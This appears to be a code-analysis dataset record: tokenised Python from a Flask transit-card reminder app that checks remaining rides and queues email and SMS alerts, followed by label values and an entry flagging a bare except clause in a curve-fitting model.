"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"False_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Remi",
"nder",
"_",
"(_",
"Base",
"Document_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u",
"check",
"\\u",
"round",
"\\u",
"trip",
"\\u",
"reminder",
"_",
"(_",
"self_",
",_",
"card_",
",_",
"last",
"\\u",
"state_",
"=_",
"None_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
" ",
"Check",
"s",
" ",
"products",
" ",
"for",
" ",
"rema",
"inin",
"g",
" ",
"round",
" ",
"trips",
" ",
"tha",
"t",
" ",
"have",
" ",
"fall",
"en",
" ",
"belo",
"w",
" ",
"threshol",
"d",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"remi",
"nd_",
"=_",
"False_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"threshold_",
"=_",
"int_",
"(_",
"self_",
"._",
"threshold_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"for_",
"product_",
"in_",
"card_",
"._",
"products_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"product_",
"._",
"rema",
"inin",
"g",
"\\u",
"ride",
"s_",
"is_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"continue_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Thi",
"s",
" ",
"doe",
"s",
" ",
"take",
" ",
"int",
"o",
" ",
"consider",
"ation",
" ",
"half",
" ",
"trips",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"round",
"\\u",
"trips",
"_",
"=_",
"product_",
"._",
"rema",
"inin",
"g",
"\\u",
"ride",
"s_",
"/_",
"2.0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"shou",
"ld",
"\\u",
"remi",
"nd_",
"=_",
"round",
"\\u",
"trips",
"_",
"<_",
"threshold_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Ped",
"antic",
" ",
"-",
" ",
"check",
" ",
"last",
" ",
"state",
" ",
"products",
" ",
"for",
" ",
"name",
" ",
"match_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"and",
" ",
"number",
" ",
"of",
" ",
"round",
" ",
"trips",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"last",
"\\u",
"state_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"last",
"\\u",
"trips",
"_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Fin",
"d",
" ",
"a",
" ",
"matchi",
"ng",
" ",
"product",
" ",
"to",
" ",
"compare_",
"\\u\\u\\uNL\\u\\u\\u_",
"for_",
"last_",
"in_",
"last",
"\\u",
"state_",
"._",
"products_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"if_",
"last_",
"._",
"name_",
"!=_",
"product_",
"._",
"name_",
"or_",
"last_",
"._",
"rema",
"inin",
"g",
"\\u",
"ride",
"s_",
"is_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"continue_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"last",
"\\u",
"trips",
"_",
"=_",
"last_",
"._",
"rema",
"inin",
"g",
"\\u",
"ride",
"s_",
"/_",
"2.0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"break_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"last",
"\\u",
"trips",
"_",
"is_",
"not_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"ped",
"antic",
"\\u",
"remi",
"nd_",
"=_",
"last",
"\\u",
"trips",
"_",
"!=_",
"round",
"\\u",
"trips",
"_",
"and_",
"shou",
"ld",
"\\u",
"remi",
"nd_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"app_",
"._",
"logger_",
"._",
"info_",
"(_",
"'",
"Ensur",
"ing",
" ",
"a",
" ",
"change",
" ",
"in",
" ",
"%",
"s",
" ",
"round",
" ",
"trips",
" ",
"for",
" ",
"%",
"s",
":",
" ",
"%",
"s",
"'_",
"%_",
"(_",
"round",
"\\u",
"trips",
"_",
",_",
"product_",
"._",
"name_",
",_",
"ped",
"antic",
"\\u",
"remi",
"nd_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"remi",
"nd_",
"=_",
"remi",
"nd_",
"or_",
"ped",
"antic",
"\\u",
"remi",
"nd_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"continue_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"default",
" ",
"case_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"remi",
"nd_",
"=_",
"remi",
"nd_",
"or_",
"shou",
"ld",
"\\u",
"remi",
"nd_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"app_",
"._",
"logger_",
"._",
"exception_",
"(_",
"'",
"Except",
"ion",
" ",
"checking",
" ",
"round",
" ",
"trips",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"pass_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"remi",
"nd_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Remi",
"nder",
"_",
"(_",
"Base",
"Document_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u",
"check",
"\\u",
"ride",
"\\u",
"reminder",
"_",
"(_",
"self_",
",_",
"card_",
",_",
"last",
"\\u",
"state_",
"=_",
"None_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
" ",
"Check",
"s",
" ",
"products",
" ",
"for",
" ",
"rema",
"inin",
"g",
" ",
"ride",
"s",
" ",
"tha",
"t",
" ",
"have",
" ",
"fall",
"en",
" ",
"belo",
"w",
" ",
"threshol",
"d",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"remi",
"nd_",
"=_",
"False_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"threshold_",
"=_",
"int_",
"(_",
"self_",
"._",
"threshold_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"product_",
"in_",
"card_",
"._",
"products_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"product_",
"._",
"rema",
"inin",
"g",
"\\u",
"ride",
"s_",
"is_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"continue_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"rema",
"inin",
"g",
"\\u",
"ride",
"s_",
"=_",
"int_",
"(_",
"product_",
"._",
"rema",
"inin",
"g",
"\\u",
"ride",
"s_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"shou",
"ld",
"\\u",
"remi",
"nd_",
"=_",
"rema",
"inin",
"g",
"\\u",
"ride",
"s_",
"<=_",
"threshold_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Ped",
"antic",
" ",
"-",
" ",
"check",
" ",
"last",
" ",
"state",
" ",
"products",
" ",
"for",
" ",
"name",
" ",
"match_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"and",
" ",
"number",
" ",
"of",
" ",
"rema",
"inin",
"g",
" ",
"ride",
"s_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"last",
"\\u",
"state_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"last",
"\\u",
"ride",
"s_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"for_",
"last_",
"in_",
"last",
"\\u",
"state_",
"._",
"products_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"if_",
"last_",
"._",
"name_",
"!=_",
"product_",
"._",
"name_",
"or_",
"last_",
"._",
"rema",
"inin",
"g",
"\\u",
"ride",
"s_",
"is_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"continue_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"last",
"\\u",
"ride",
"s_",
"=_",
"int_",
"(_",
"last_",
"._",
"rema",
"inin",
"g",
"\\u",
"ride",
"s_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"break_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"last",
"\\u",
"ride",
"s_",
"is_",
"not_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"ped",
"antic",
"\\u",
"remi",
"nd_",
"=_",
"last",
"\\u",
"ride",
"s_",
"!=_",
"rema",
"inin",
"g",
"\\u",
"ride",
"s_",
"and_",
"shou",
"ld",
"\\u",
"remi",
"nd_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"app_",
"._",
"logger_",
"._",
"info_",
"(_",
"'",
"Ensur",
"ing",
" ",
"a",
" ",
"change",
" ",
"in",
" ",
"%",
"s",
" ",
"ride",
"s",
" ",
"for",
" ",
"%",
"s",
":",
" ",
"%",
"s",
"'_",
"%_",
"(_",
"rema",
"inin",
"g",
"\\u",
"ride",
"s_",
",_",
"product_",
"._",
"name_",
",_",
"ped",
"antic",
"\\u",
"remi",
"nd_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"remi",
"nd_",
"=_",
"remi",
"nd_",
"or_",
"ped",
"antic",
"\\u",
"remi",
"nd_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"continue_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"remi",
"nd_",
"=_",
"remi",
"nd_",
"or_",
"shou",
"ld",
"\\u",
"remi",
"nd_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"app_",
"._",
"logger_",
"._",
"exception_",
"(_",
"'",
"Except",
"ion",
" ",
"checking",
" ",
"ride",
"s",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"pass_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"remi",
"nd_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Remi",
"nder",
"_",
"(_",
"Base",
"Document_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"remi",
"nd_",
"(_",
"self_",
",_",
"card_",
",_",
"force_",
"=_",
"False_",
",_",
"last",
"\\u",
"state_",
"=_",
"None_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Get",
" ",
"last",
" ",
"remi",
"nde",
"d",
" ",
"for",
" ",
"card_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"last",
"\\u",
"reminder",
"\\u",
"sent_",
"=_",
"self_",
"._",
"last",
"\\u",
"remi",
"nde",
"d_",
"(_",
"card_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"not_",
"force_",
"and_",
"last",
"\\u",
"reminder",
"\\u",
"sent_",
"and_",
"(_",
"datetime_",
"._",
"now_",
"(_",
")_",
"-_",
"last",
"\\u",
"reminder",
"\\u",
"sent_",
"._",
"sent",
"\\u",
"date_",
")_",
"._",
"days_",
"<_",
"1_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Don",
"'",
"t",
" ",
"proceed",
" ",
"if",
" ",
"we",
"'",
"ve",
" ",
"alr",
"ead",
"y",
" ",
"sent",
" ",
"out",
" ",
"a",
" ",
"reminder",
" ",
"today_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"app_",
"._",
"logger_",
"._",
"info_",
"(_",
"'%",
"s",
" ",
"Remi",
"nder",
" ",
"for",
" ",
"card",
" ",
"%",
"s",
" ",
"has",
" ",
"alr",
"ead",
"y",
" ",
"bee",
"n",
" ",
"sent",
" ",
"toda",
"y",
".",
" ",
"Las",
"t",
" ",
"sent",
":",
" ",
"%",
"s",
"'_",
"%_",
"(_",
"self_",
"._",
"type_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"card_",
"._",
"last",
"\\u",
"four",
"_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"last",
"\\u",
"reminder",
"\\u",
"sent_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"app_",
"._",
"logger_",
"._",
"info_",
"(_",
"'",
"Begin",
" ",
"%",
"s",
" ",
"reminder",
" ",
"check",
" ",
"for",
" ",
"%",
"s",
"'_",
"%_",
"(_",
"self_",
"._",
"type_",
",_",
"card_",
"._",
"last",
"\\u",
"four",
"_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"not_",
"self_",
"._",
"check",
"\\u",
"reminder",
"_",
"(_",
"card_",
",_",
"last",
"\\u",
"state_",
"=_",
"last",
"\\u",
"state_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"app_",
"._",
"logger_",
"._",
"info_",
"(_",
"'",
"Card",
" ",
"%",
"s",
" ",
"doe",
"s",
" ",
"not",
" ",
"need",
" ",
"a",
" ",
"%",
"s",
" ",
"reminder",
"'_",
"%_",
"(_",
"card_",
"._",
"last",
"\\u",
"four",
"_",
",_",
"self_",
"._",
"type_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"from_",
"flask_",
"import_",
"render",
"\\u",
"template_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"bre",
"ez",
"emi",
"nder",
"_",
"._",
"app_",
"import_",
"context_",
",_",
"filters_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"bre",
"ez",
"emi",
"nder",
"_",
"._",
"models_",
"._",
"messaging_",
"import_",
"Messag",
"ing_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"app_",
"._",
"logger_",
"._",
"info_",
"(_",
"'",
"Remi",
"ndin",
"g",
" ",
"user",
" ",
"%",
"s",
" ",
"of",
" ",
"%",
"s",
" ",
"at",
" ",
"or",
" ",
"belo",
"w",
" ",
"threshol",
"d",
"'_",
"%_",
"(_",
"self_",
"._",
"owner_",
"._",
"id_",
",_",
"self_",
"._",
"type_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"subject_",
"=_",
"'[",
"Bre",
"ez",
"e",
"Min",
"der",
"]",
" ",
"%",
"s",
" ",
"reminder",
"'_",
"%_",
"self_",
"._",
"type_",
"._",
"name_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"messages_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"context_",
"=_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"card",
"'_",
":_",
"card_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"reminder",
"'_",
":_",
"self_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"last",
"\\u",
"state",
"'_",
":_",
"last",
"\\u",
"state_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Build",
" ",
"list",
" ",
"of",
" ",
"expir",
"ing",
" ",
"content_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"self_",
"._",
"type_",
"==_",
"'",
"EXP",
"'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"delta_",
"=_",
"self_",
"._",
"\\u",
"exp",
"\\u",
"delta_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"expir",
"ing_",
"=_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"card",
"'_",
":_",
"self_",
"._",
"\\u",
"will",
"\\u",
"expire_",
"(_",
"card_",
"._",
"expir",
"ation",
"\\u",
"date_",
",_",
"delta_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"expir",
"ing_",
"[_",
"'",
"products",
"'_",
"]_",
"=_",
"[_",
"p_",
"for_",
"p_",
"in_",
"card_",
"._",
"products_",
"if_",
"self_",
"._",
"\\u",
"will",
"\\u",
"expire_",
"(_",
"p_",
"._",
"expir",
"ation",
"\\u",
"date_",
",_",
"delta_",
")_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"context_",
"[_",
"'",
"expir",
"ing",
"'_",
"]_",
"=_",
"expir",
"ing_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"self_",
"._",
"send",
"\\u",
"email_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"template_",
"=_",
"'",
"message",
"s",
"/",
"email",
"/",
"reminder",
"s",
"/",
"%",
"s",
".",
"html",
"'_",
"%_",
"self_",
"._",
"type_",
"._",
"key_",
"._",
"lower_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"with_",
"app_",
"._",
"test\\u",
"request",
"\\u",
"context_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"content_",
"=_",
"render",
"\\u",
"template_",
"(_",
"template_",
",_",
"**_",
"context_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Queue",
" ",
"message",
" ",
"for",
" ",
"celery_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"Messag",
"ing_",
"._",
"objects_",
"._",
"create_",
"(_",
"recipients_",
"=_",
"[_",
"self_",
"._",
"owner_",
"._",
"email_",
"]_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"sender_",
"=_",
"app_",
"._",
"config_",
"[_",
"'",
"DEF",
"AUL",
"T",
"\\u",
"MAIL",
"\\u",
"SEND",
"ER",
"'_",
"]_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"subject_",
"=_",
"subject_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"message_",
"=_",
"content_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"self_",
"._",
"send",
"\\u",
"sms_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"recipients_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"self_",
"._",
"owner_",
"._",
"can",
"\\u",
"receive",
"\\u",
"sms_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"recipients_",
"._",
"append_",
"(_",
"self_",
"._",
"owner_",
"._",
"cell",
"\\u",
"phone_",
"._",
"sms",
"\\u",
"address_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"len_",
"(_",
"recipients_",
")_",
">_",
"0_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"template_",
"=_",
"'",
"message",
"s",
"/",
"sms",
"/",
"reminder",
"s",
"/",
"%",
"s",
".",
"html",
"'_",
"%_",
"self_",
"._",
"type_",
"._",
"key_",
"._",
"lower_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"with_",
"app_",
"._",
"test\\u",
"request",
"\\u",
"context_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"content_",
"=_",
"render",
"\\u",
"template_",
"(_",
"template_",
",_",
"**_",
"context_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Make",
" ",
"mobile",
" ",
"frie",
"ndl",
"y",
" ",
"by",
" ",
"remo",
"ving",
" ",
"excess",
" ",
"whitespace_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"content_",
"=_",
"re_",
"._",
"sub_",
"(_",
"'\\\\",
"s",
"{",
"2",
",}",
"'_",
",_",
"'",
" ",
"'_",
",_",
"content_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"subject_",
"=_",
"'%",
"s",
" ",
"reminder",
"'_",
"%_",
"self_",
"._",
"type_",
"._",
"name_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Queue",
" ",
"message",
" ",
"for",
" ",
"celery_",
"\\u\\u\\uNL\\u\\u\\u_",
"Messag",
"ing_",
"._",
"objects_",
"._",
"create_",
"(_",
"recipients_",
"=_",
"recipients_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"sender_",
"=_",
"app_",
"._",
"config_",
"[_",
"'",
"DEF",
"AUL",
"T",
"\\u",
"MAIL",
"\\u",
"SEND",
"ER",
"'_",
"]_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"subject_",
"=_",
"subject_",
"._",
"upper_",
"(_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"message_",
"=_",
"content_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"is",
"\\u",
"plain_",
"=_",
"True_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Record",
" ",
"Hist",
"ory",
",",
" ",
"but",
" ",
"don",
"'",
"t",
" ",
"bring",
" ",
"down",
" ",
"the",
" ",
"house_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"with_",
"app_",
"._",
"test\\u",
"request",
"\\u",
"context_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"web",
"\\u",
"message_",
"=_",
"render",
"\\u",
"template_",
"(_",
"'",
"message",
"s",
"/",
"web",
"/",
"reminder",
"s",
"/",
"%",
"s",
".",
"html",
"'_",
"%_",
"self_",
"._",
"type_",
"._",
"key_",
"._",
"lower_",
"(_",
")_",
",_",
"**_",
"context_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"Remi",
"nder",
"History_",
"._",
"objects_",
"._",
"create_",
"(_",
"reminder",
"_",
"=_",
"self_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"card_",
"=_",
"card_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"message_",
"=_",
"web",
"\\u",
"message_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"sent",
"\\u",
"date_",
"=_",
"datetime_",
"._",
"now_",
"(_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"owner_",
"=_",
"self_",
"._",
"owner_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"app_",
"._",
"logger_",
"._",
"exception_",
"(_",
"'",
"Cou",
"ld",
" ",
"not",
" ",
"save",
" ",
"a",
" ",
"reminder",
" ",
"histo",
"ry",
" ",
"object",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uN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2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Except block handles 'BaseException' | zunzun/pyeq2/Models_3D/EnzymeKinetics.py | [
{
"content": " def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary):\n x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once\n y_in = inDataCacheDictionary['Y'] # only need to perform this dictionary look-up once\n \n a = inCoeffs[0]\n b = inCoeffs[1]\n c = inCoeffs[2]\n\n try:\n temp = a * x_in / (b * (1.0 + y_in / c) + x_in)\n return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self)\n except:\n return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300",
"metadata": "root.CompetitiveInhibitionA.CalculateModelPredictions",
"header": "['class', 'CompetitiveInhibitionA', '(', 'pyeq2', '.', 'Model_3D_BaseClass', '.', 'Model_3D_BaseClass', ')', ':', '___EOS___']",
"index": 58
},
{
